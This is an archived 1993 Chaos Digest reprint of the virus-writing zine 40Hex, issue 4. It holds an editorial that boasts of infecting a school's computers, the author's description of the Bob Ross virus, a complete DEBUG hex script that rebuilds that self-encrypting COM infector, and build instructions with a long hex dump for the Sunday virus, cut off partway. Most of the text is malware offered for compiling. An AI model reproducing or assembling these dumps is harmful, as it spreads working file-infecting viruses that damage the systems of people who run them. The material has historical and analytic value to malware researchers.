home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / KAOS1_41.ZIP / KAOS1-41
Encoding:
Text File  |  1993-06-02  |  26.5 KB  |  537 lines
  1. Chaos Digest               Lundi 31 Mai 1993        Volume 1 : Numero 41
  2.                             ISSN  1244-4901
  3.  
  4.        Editeur: Jean-Bernard Condat (jbcondat@attmail.com)
  5.        Archiviste: Yves-Marie Crabbe
  6.        Co-Redacteurs: Arnaud Bigare, Stephane Briere
  7.  
  8. TABLE DES MATIERES, #1.41 (31 Mai 1993)
  9. File 1--40H VMag Issue 1 Volume 4 #000-003 (reprint)
  10.  
  11. Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are
  12. available at no cost by sending a message to:
  13.                 linux-activists-request@niksula.hut.fi
  14. with a mail header or first line containing the following informations:
  15.                     X-Mn-Admin: join CHAOS_DIGEST
  16.  
  17. The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070)
  18. or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P.
  19. 155, 93404 St-Ouen Cedex, France.  He is a member of the EICAR and EFF (#1299)
  20. groups.
  21.  
  22. Issues of ChaosD can also be found from the ComNet in Luxembourg BBS (+352)
  23. 466893.  Back issues of ChaosD can be found on the Internet as part of the
  24. Computer underground Digest archives. They're accessible using anonymous FTP:
  25.  
  26.         * kragar.eff.org [192.88.144.4] in /pub/cud/chaos
  27.         * uglymouse.css.itd.umich.edu [141.211.182.53] in /pub/CuD/chaos
  28.         * halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos
  29.         * ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest
  30.         * cs.ubc.ca [137.82.8.5] in /mirror3/EFF/cud/chaos
  31.         * ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos
  32.         * nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos
  33.         * orchid.csv.warwick.ac.uk [137.205.192.5] in /pub/cud/chaos
  34.  
  35. CHAOS DIGEST is an open forum dedicated to sharing French information among
  36. computerists and to the presentation and debate of diverse views. ChaosD
  37. material may be reprinted for non-profit as long as the source is cited.
  38. Some authors do copyright their material, and they should be contacted for
  39. reprint permission.  Readers are encouraged to submit reasoned articles in
  40. French, English or German languages relating to computer culture and
  41. telecommunications.  Articles are preferred to short responses.  Please
  42. avoid quoting previous posts unless absolutely necessary.
  43.  
  44. DISCLAIMER: The views represented herein do not necessarily represent
  45.             the views of the moderators. Chaos Digest contributors
  46.             assume all responsibility for ensuring that articles
  47.             submitted do not violate copyright protections.
  48.  
  49. ----------------------------------------------------------------------
  50.  
  51. Date: Tue May 11 09:24:40 PDT 1993
  52. From: 0005847161@mcimail.com (American_Eagle_Publication_Inc. )
  53. Subject: File 1--40H VMag Issue 1 Volume 4 #000-003 (reprint)
  54.  
  55.  
  56. 40Hex Issue 4                                            December 1991
  57.  
  58.  
  59.                                  Index
  60.                                  -----
  61.  
  62.  
  63. 001.....................................................USA Virus News
  64. 002.................................................The Bob Ross virus
  65. 003...................................................The Sunday Virus
  66. 004...................................................The Terror Virus
  67. 005...............................................Virus Survay Artical
  68. 006.................................................The Typo COM virus
  69. 007.....................................................From Johns BBS
  70. 008.................................................The Marauder Virus
  71. 009................................................Pklite Scan Strings
  72. 010...............................................Encryption Defeating
  73. 011...............................................The Ultimate Toolkit
  74. 012..............................................Tequilla Virus Source
  75. 013...................................................................
  76. 014...................................................Is This The End?
  77.  
  78.  
  79. Thanks to:
  80.            Shade of Sorrow, Demogorgon, Dark Angel, Count Zero,
  81.            Piff', Paragon Dude (and the rest of Phalcon), Blade Runner,
  82.            The Fisch, Instigator, Decimator, Dr. Logic, Venom/Hate (and
  83.            all the QSD/Lutz crowd), God, Amiga Factor, all the people
  84.            from the city, and all I forgot...
  85.  
  86. +++++
  87.  
  88. 40Hex Issue 4                                            December 1991
  89.  
  90.                                Whats New
  91.                                ---------
  92.  
  93.      Well a lot of things been going on this month.  Well I've been
  94.      really lazy lately and haven't gotten around to writing this issue
  95.      for over two months I guess.  Well let me tell you whats been going
  96.      on.
  97.  
  98.      Let me take the time now to address these lame fucking people who,
  99.      if they had 9600+ modems, would be wares puppies, but being they
  100.      have a 2400 they decide to practice there leeching habits on
  101.      viruses.  They are the virus collectors, they ones who never run
  102.      the damn things, just add them to there collection and upload them
  103.      here and there to be really, as they say, "K-K00\_."  Please
  104.      mother fuckers, stop.  I mean look at the Red Cross virus, does
  105.      anyone have the real copy of it?  Some lame ass collector found
  106.      something that scanned as Red-X and was "/> a |)" enough to upload
  107.      it everywhere.  Please, give it up.  Virus BBS's are a great thing,
  108.      and without them we would be lost, but by the same tolken these
  109.      collectors, or as someone once said, "Micro-Wares Puppies," must
  110.      get with the program or die.
  111.  
  112.      Well second of all, I've been calling The Homebase quite a bit
  113.      lately and came to one conclusion, people are dumb.  Look in this
  114.      issue for some scroll backs of stupid things people have posted on
  115.      that BBS this month or so.
  116.  
  117.      The Bob Ross virus has been released in the mist, so watch what you
  118.      D/L.  Hmmmm, I think SCAN 85 caught it, but that will change soon,
  119.      right DA?
  120.  
  121.      Funny story.  I infected my schools computer with several viruses
  122.      before I transferred out.  Well what I heard happened from that is
  123.      this.  They somehow could not get the viruses to dissapper no
  124.      matter what they did.  Incedently it was Whale and some other
  125.      viruses. Anyway, out of the fustration of the viruses reappering
  126.      all the time, they decided to out and get rid of all the hard
  127.      drives.  So they removed all the hard drives from all the systems
  128.      and put them in storage.  Anyway, they finally got a virus expert
  129.      to come it, he said that they didn't have to get rid of the hard
  130.      drives he can rid the viruses.  Well to late.  The art department
  131.      had got a hold of them and wealded them together into one big
  132.      statue!  Thousands of dollars worth of hardware down they drain.
  133.      The school was so embarressed at the whole thing they shipped the
  134.      statue way out of state where so everybody would soon forget this
  135.      screwup.  Thanks to Shade of Sorrow for finding that one out for
  136.      me.
  137.  
  138.      SCAN 85 _is_ out, 'nuff said.
  139.  
  140.      Bet you all heard the story about Novell and Stoned III?  If not
  141.      this is the run down.  Novell got infected by Stoned III.  Novell
  142.      distributed infected copies of the December update to everyone.
  143.      That's the story.
  144.  
  145. +++++
  146.  
  147. 40Hex Issue 4                                            December 1991
  148.  
  149.                            The Bob Ross Virus
  150.  
  151. This is the infamous Bob Ross virus by Dark Angel of Phalcon/Skism.
  152.  
  153. Here's a bit from the author first.
  154.  
  155.  The Funky Bob Ross Virus Version 1.0
  156.  Written by Dark Angel / 26 September 1991 / (c) 1991
  157.  PHALCON/SKISM Co-op
  158.  Effective length: 1125, Resident length: 672 bytes
  159.  
  160.  DEDICATION:
  161.    This virus was written expressedly to
  162.       1) Piss off Patty Hoffman, John McAffee, Ross Greenberg, and all the
  163.          other guru-wanna-bes in this world.
  164.       2) Spread the message of The Almighty Bob, and so enrichen the lives
  165.          of people all over the world.
  166.       3) Show off (Now I can tell people that I wrote a virus!)
  167.  
  168.  WHAT THIS IS:
  169.    This is a self-encrypting, non-overwriting COM infector.  It doesn't do
  170.    anything to EXE files.  File sizes increase by 1117 bytes.  It goes off
  171.    on July 9th of any year or after 7 infection "waves."
  172.  
  173.  WHAT IT DOES WHEN IT GOES OFF:
  174.    The virus goes memory resident and prints out a Bobism every 5 minutes.
  175.    It then enters a delay loop for approximately 5 seconds, allowing for a
  176.    brief moment of silence while the victim reads Bob's holy message.  The
  177.    virus will not destroy anything.  The virus will not go TSR if it finds
  178.    another copy of itself in memory.
  179.  
  180.  
  181.  Well, here it is, the hex dump, by now you should know how to compile
  182.  it from the hex dump.
  183.  
  184. ---------------------------------------------------------------------------
  185. n bob-ross.com
  186. e 0100  FF 26 04 01 D0 08 C8 07 00 00 00 00 00 00 00 00
  187. e 0110  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  188. e 0120  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  189. e 0130  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  190. e 0140  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  191. e 0150  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  192. e 0160  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  193. e 0170  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  194. e 0180  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  195. e 0190  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  196. e 01A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  197. e 01B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  198. e 01C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  199. e 01D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  200. e 01E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  201. e 01F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  202. e 0200  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  203. e 0210  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  204. e 0220  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  205. e 0230  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  206. e 0240  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  207. e 0250  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  208. e 0260  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  209. e 0270  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  210. e 0280  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  211. e 0290  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  212. e 02A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  213. e 02B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  214. e 02C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  215. e 02D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  216. e 02E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  217. e 02F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  218. e 0300  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  219. e 0310  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  220. e 0320  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  221. e 0330  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  222. e 0340  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  223. e 0350  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  224. e 0360  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  225. e 0370  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  226. e 0380  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  227. e 0390  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  228. e 03A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  229. e 03B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  230. e 03C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  231. e 03D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  232. e 03E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  233. e 03F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  234. e 0400  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  235. e 0410  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  236. e 0420  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  237. e 0430  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  238. e 0440  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  239. e 0450  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  240. e 0460  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  241. e 0470  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  242. e 0480  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  243. e 0490  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  244. e 04A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  245. e 04B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  246. e 04C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  247. e 04D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  248. e 04E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  249. e 04F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  250. e 0500  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  251. e 0510  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  252. e 0520  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  253. e 0530  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  254. e 0540  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  255. e 0550  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  256. e 0560  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  257. e 0570  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  258. e 0580  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  259. e 0590  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  260. e 05A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  261. e 05B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  262. e 05C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  263. e 05D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  264. e 05E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  265. e 05F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  266. e 0600  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  267. e 0610  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  268. e 0620  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  269. e 0630  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  270. e 0640  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  271. e 0650  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  272. e 0660  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  273. e 0670  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  274. e 0680  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  275. e 0690  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  276. e 06A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  277. e 06B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  278. e 06C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  279. e 06D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  280. e 06E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  281. e 06F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  282. e 0700  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  283. e 0710  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  284. e 0720  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  285. e 0730  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  286. e 0740  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  287. e 0750  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  288. e 0760  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  289. e 0770  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  290. e 0780  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  291. e 0790  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  292. e 07A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  293. e 07B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  294. e 07C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  295. e 07D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  296. e 07E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  297. e 07F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  298. e 0800  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  299. e 0810  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  300. e 0820  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  301. e 0830  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  302. e 0840  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  303. e 0850  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  304. e 0860  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  305. e 0870  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  306. e 0880  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  307. e 0890  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  308. e 08A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  309. e 08B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  310. e 08C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 CD 20
  311. e 08D0  FC E8 0A 00 BE D3 01 03 36 06 01 FF E6 B6 BE 15
  312. e 08E0  01 03 36 06 01 8A 24 B9 23 04 83 C6 2D 90 8B FE
  313. e 08F0  AC 32 C4 AA E2 FA C3 56 E8 E3 FF B9 5D 04 5A 83
  314. e 0900  C2 B5 90 B4 40 CD 21 E8 D4 FF 75 5F 7D B1 B6 B6
  315. e 0910  B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6
  316. e 0920  B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6
  317. e 0930  B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6
  318. e 0940  B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6
  319. e 0950  B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 EA
  320. e 0960  B6 9C 98 D5 D9 DB B6 9C 98 9C B6 98 98 B6 B6 B6
  321. e 0970  B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6
  322. e 0980  B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6
  323. e 0990  B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 37 70 C6 49 3D
  324. e 09A0  48 35 71 BE 0F BE B6 45 12 02 F1 84 64 35 70 BC
  325. e 09B0  7B 97 C4 9C 02 8D 3D 60 35 74 F4 7B 97 C4 A9 35
  326. e 09C0  70 F6 48 B2 E0 35 70 B7 70 B2 B5 5E A9 B6 E8 36
  327. e 09D0  8A B1 CB BB 02 9C 7B 97 37 4C BF B1 C2 B5 5F A0
  328. e 09E0  B4 5F 11 B7 B6 B6 B6 B6 B6 B6 B6 B6 B6 E3 3D 5A
  329. e 09F0  35 5A 9A E0 5D C6 26 02 AC 3B E0 62 7B 97 02 F8
  330. e 0A00  0F A6 B6 0C 29 B7 B5 A0 B0 B7 7B 97 5D 90 36 C8
  331. e 0A10  44 98 C2 A3 3B E0 44 02 8D 7B 97 C4 BA 08 10 B7
  332. e 0A20  B5 80 B0 B7 49 B2 5E 72 49 3B E0 62 02 AC 7B 97
  333. e 0A30  02 F9 7B 97 C5 6E 08 10 B7 B5 80 B0 B7 35 8A B6
  334. e 0A40  C8 BB 49 BA 0C 15 B7 B5 A0 B0 B7 02 8D 7B 97 E8
  335. e 0A50  3D 53 EB 75 5F 16 B7 08 10 B7 B5 80 B0 B7 71 B2
  336. e 0A60  B6 B6 5D 5D 5D 27 02 AC 0C 1E B7 B5 A0 B0 B7 7B
  337. e 0A70  97 02 F8 0F B1 B6 0C 2F B7 B5 A0 B0 B7 7B 97 C4
  338. e 0A80  55 5D A4 26 08 20 B7 B5 80 B0 B7 48 BA C2 7E 02
  339. e 0A90  F9 7B 97 C4 79 08 7A B7 B5 80 B0 B7 36 8A F2 C2
  340. e 0AA0  58 0E B6 8B 3D 60 35 5C B0 7B 97 C4 54 25 02 89
  341. e 0AB0  0F BE B6 0C F5 B7 B5 A0 B0 B7 E4 7B 97 E8 E0 1B
  342. e 0AC0  8B 49 90 C3 A2 1B 8B B2 B7 C3 B8 E8 02 88 7B 97
  343. e 0AD0  5D 0B E6 FE F7 FA F5 F9 F8 E8 35 70 CC 3D 48 35
  344. e 0AE0  71 E9 12 13 13 13 35 CA 48 BE 26 CA 69 02 9A 7B
  345. e 0AF0  97 B4 60 C2 4E 08 A3 B7 B5 80 B0 B7 3E A2 0E B7
  346. e 0B00  F5 85 7F 3D 60 37 74 07 B6 7B 97 02 88 7B 97 0E
  347. e 0B10  B4 8B 7B 97 C4 00 3D 4C 35 71 EB 1D 25 02 F6 0F
  348. e 0B20  B2 B6 0C B6 B7 7B 97 02 F6 3D 41 35 70 4A 37 B2
  349. e 0B30  B6 B7 0F B4 B6 3D 60 7B 97 3D B2 9B BE B7 37 70
  350. e 0B40  84 49 E0 3F B2 02 F6 0F B4 B6 3D 60 7B 97 0E B4
  351. e 0B50  F4 85 7F 85 64 7B 97 5E 2B 4B E8 37 70 66 B6 3D
  352. e 0B60  AA 0E B7 E1 35 70 4C 3D BA 35 70 B4 3D A2 7B 97
  353. e 0B70  02 88 7B 97 0E B7 F5 84 5B 35 70 4B 3C BA 3D 60
  354. e 0B80  35 74 1C 7B 97 5F 4A 48 5D DB 26 B0 98 70 B0 B6
  355. e 0B90  B7 B6 85 6D 3A 7E F5 38 75 8D 75 C2 B9 08 B6 B7
  356. e 0BA0  3D 48 0F B2 B6 45 10 C3 5B 5D FD 26 B1 98 71 B0
  357. e 0BB0  BE B7 16 A2 98 71 B0 A6 B7 B7 B6 08 E5 B2 B5 80
  358. e 0BC0  B0 B7 09 A4 B7 0F A4 B7 45 12 0E BE 83 7B 97 98
  359. e 0BD0  3F A8 B2 B7 98 3A B0 B0 B7 0E BE 93 0C A4 B7 7B
  360. e 0BE0  97 B0 17 9A B6 38 76 02 FF 7B 97 B1 0E B6 87 0C
  361. e 0BF0  9C B6 7B 97 7B 96 B1 02 8D 0C 21 B7 B5 A0 B0 B7
  362. e 0C00  7B 97 02 8D 35 74 08 7B 97 3D 44 35 70 40 09 B6
  363. e 0C10  B7 0F BE B6 45 12 09 B6 B7 49 51 E6 E5 E7 E4 E0
  364. e 0C20  A8 B0 2A 98 49 B8 BE B7 C3 FB 98 71 B0 BE B7 26
  365. e 0C30  B7 B8 A9 B8 B1 08 CD B7 98 3D B8 A6 B7 84 52 1A
  366. e 0C40  B5 46 54 4D 1A 31 43 85 7F 3C 7E 0E B6 A5 0D C6
  367. e 0C50  B6 85 64 7B A6 98 49 B0 A6 B7 98 35 88 A6 B7 B1
  368. e 0C60  C3 B1 98 71 B0 A6 B7 B7 B6 0F 86 B6 E7 0F 49 49
  369. e 0C70  54 48 EF 54 41 31 43 2B B1 A9 E8 EC EF ED EE 98
  370. e 0C80  49 98 B2 B7 B6 B9 F4 D9 D4 96 E4 D9 C5 C5 96 DA
  371. e 0C90  DF C0 D3 C5 97 A3 F4 D9 D4 96 E4 D9 C5 C5 96 DF
  372. e 0CA0  C5 96 C1 D7 C2 D5 DE DF D8 D1 97 A0 FB D7 CF D4
  373. e 0CB0  D3 96 DE D3 96 DA DF C0 D3 C5 96 DE D3 C4 D3 98
  374. e 0CC0  98 98 AC E1 DE D7 C2 96 D7 96 DE D7 C6 C6 CF 96
  375. e 0CD0  DA DF C2 C2 DA D3 96 D5 DA D9 C3 D2 97 90 FB D7
  376. e 0CE0  CF D4 D3 96 DE D3 96 DE D7 C5 96 D7 96 D8 D3 DF
  377. e 0CF0  D1 DE D4 D9 C3 C4 96 C4 DF D1 DE C2 96 DE D3 C4
  378. e 0D00  D3 98 98 98 9E EF D9 C3 96 D5 D7 D8 96 DB D7 DD
  379. e 0D10  D3 96 C3 C6 96 C5 C2 D9 C4 DF D3 C5 96 D7 C5 96
  380. e 0D20  CF D9 C3 96 D1 D9 96 D7 DA D9 D8 D1 98 1A 1A 1A
  381. rcx
  382. C2D
  383. w
  384. q
  385. ----------------------------------------------------------------------------
  386.  
  387. The virus itself is only 1125 bytes, this file is 3125 to account for an
  388. infected file.
  389.  
  390. Scan 85 detects it as the [Beta] virus, but strain-b will be out soon.
  391.  
  392. +++++
  393.  
  394. 40Hex Issue 4                                            December 1991
  395.  
  396.  
  397.                              The Sunday Virus
  398.  
  399.         According to Patty Hoffman, the Sunday virus is based on the
  400. Jerusalem viruses, because the codes for both viruses are similar.
  401. Sunday infects COM, EXE, and OVL files, when they are executed, and it
  402. stays resident in memory.  It was circulated around the Seattle,
  403. Washington area in 1989, and is quite common.  Sunday can be picked up
  404. by almost every scanner out there.  The SCAN ID code for this virus
  405. is "CD 21 80 FC 04 75 10" in lines 01E0 and 01F0.
  406.         This version of Sunday doesn't seem to print any messages on
  407. the screen, however, some versions do, every Sunday.  This virus
  408. spreads rapidly, and replicates quite well.
  409.  
  410.  
  411.       To create SUNDAY.COM, cut out the following code, and name the
  412. resulting file sunday.txt.  Then, use this command:  DEBUG < SUNDAY.TXT
  413.  
  414.                                                        --DecimatoR
  415.  
  416. ----------------------------------------------------------------------------
  417. n sunday.com
  418. e 0100  E9 92 00 59 57 C8 F7 E1 EE E7 00 01 4C 1E 00 00
  419. e 0110  00 02 00 AB 00 0C 13 16 17 C7 02 BF 05 3A 1E 63
  420. e 0120  79 00 00 00 00 00 00 00 00 00 00 00 00 00 E8 06
  421. e 0130  5F BD 1D 80 00 00 00 80 00 BD 1D 5C 00 BD 1D 6C
  422. e 0140  00 BD 1D 00 0A 95 22 29 00 00 00 00 F0 02 00 4D
  423. e 0150  5A 87 01 14 01 ED 05 80 01 23 0B FF FF 8C 20 C0
  424. e 0160  06 89 19 C6 00 8C 20 1E 00 00 00 00 00 00 00 00
  425. e 0170  05 00 20 00 29 15 01 79 00 02 10 00 C0 20 02 00
  426. e 0180  54 61 28 99 43 4F 4D 4D 41 4E 44 2E 43 4F 4D 01
  427. e 0190  00 00 00 00 00 FC 06 B8 00 00 8E C0 26 A1 84 00
  428. e 01A0  07 3D 4C 02 75 10 B4 DD BF 00 01 BE C2 06 03 F7
  429. e 01B0  2E 8B 4D 11 CD 21 8C C8 05 10 00 8E D0 BC C0 06
  430. e 01C0  50 B8 C6 00 50 CB FC 06 2E 8C 06 31 00 2E 8C 06
  431. e 01D0  39 00 2E 8C 06 3D 00 2E 8C 06 41 00 8C C0 05 10
  432. e 01E0  00 2E 01 06 49 00 2E 01 06 45 00 B4 FF CD 21 80
  433. e 01F0  FC 04 75 10 07 2E 8E 16 45 00 2E 8B 26 43 00 2E
  434. e 0200  FF 2E 47 00 33 C0 8E C0 BB FC 03 26 8B 07 2E A3
  435. e 0210  4B 00 26 8A 47 02 2E A2 4D 00 26 C7 07 F3 A5 26
  436. e 0220  C6 47 02 CB 58 05 10 00 8E C0 0E 1F B9 C2 06 D1
  437. e 0230  E9 33 F6 8B FE 06 B8 3E 01 50 FF 2E 59 06 8C C8
  438. e 0240  8E D0 BC C0 06 33 C0 8E D8 2E A1 4B 00 89 07 2E
  439. e 0250  A0 4D 00 88 47 02 8B DC B1 04 D3 EB 83 C3 20 83
  440. e 0260  E3 F0 2E 89 1E 33 00 B4 4A 2E 8E 06 31 00 CD 21
  441. e 0270  B8 21 35 CD 21 2E 89 1E 17 00 2E 8C 06 19 00 0E
  442. e 0280  1F BA 4C 02 B8 21 25 CD 21 8E 06 31 00 26 8E 06
  443. e 0290  2C 00 33 FF B9 FF 7F 32 C0 F2 AE 26 38 05 E0 F9
  444. e 02A0  8B D7 83 C2 03 B8 00 4B 06 1F 0E 07 BB 35 00 1E
  445. e 02B0  06 50 53 51 52 B4 0F CD 10 3C 07 74 07 2E C7 06
  446. e 02C0  4A 02 00 B8 B8 08 35 CD 21 2E 89 1E 13 00 2E 8C
  447. e 02D0  06 15 00 0E 1F C7 06 1F 00 E0 79 B8 08 25 BA 0A
  448. e 02E0  02 CD 21 5A 59 5B 58 07 1F 9C 2E FF 1E 17 00 1E
  449. e 02F0  07 B4 49 CD 21 B4 4D CD 21 B4 31 BA C2 06 B1 04
  450. e 0300  D3 EA 83 C2 10 CD 21 32 C0 CF 2E 83 3E 1F 00 00
  451. e 0310  75 22 1E 06 56 57 50 8D 36 3E 02 0E 1F A1 4A 02
  452. e 0320  8E C0 BF 00 00 FC A5 A5 A5 A5 A5 A5 58 5F 5E 07
  453. e 0330  1F EB 06 90 2E FF 0E 1F 00 2E FF 2E 13 00 48 F0
  454. e 0340  61 F0 21 F0 48 F0 61 F0 21 F0 00 B8 9C 80 FC FF
  455. e 0350  75 05 B8 00 04 9D CF 80 FC DD 74 0E 3D 00 4B 75
  456. e 0360  03 EB 21 90 9D 2E FF 2E 17 00 58 58 B8 00 01 2E
  457. e 0370  A3 0A 00 58 2E A3 0C 00 F3 A4 9D 2E A1 0F 00 2E
  458. e 0380  FF 2E 0A 00 2E C7 06 70 00 FF FF 2E C7 06 8F 00
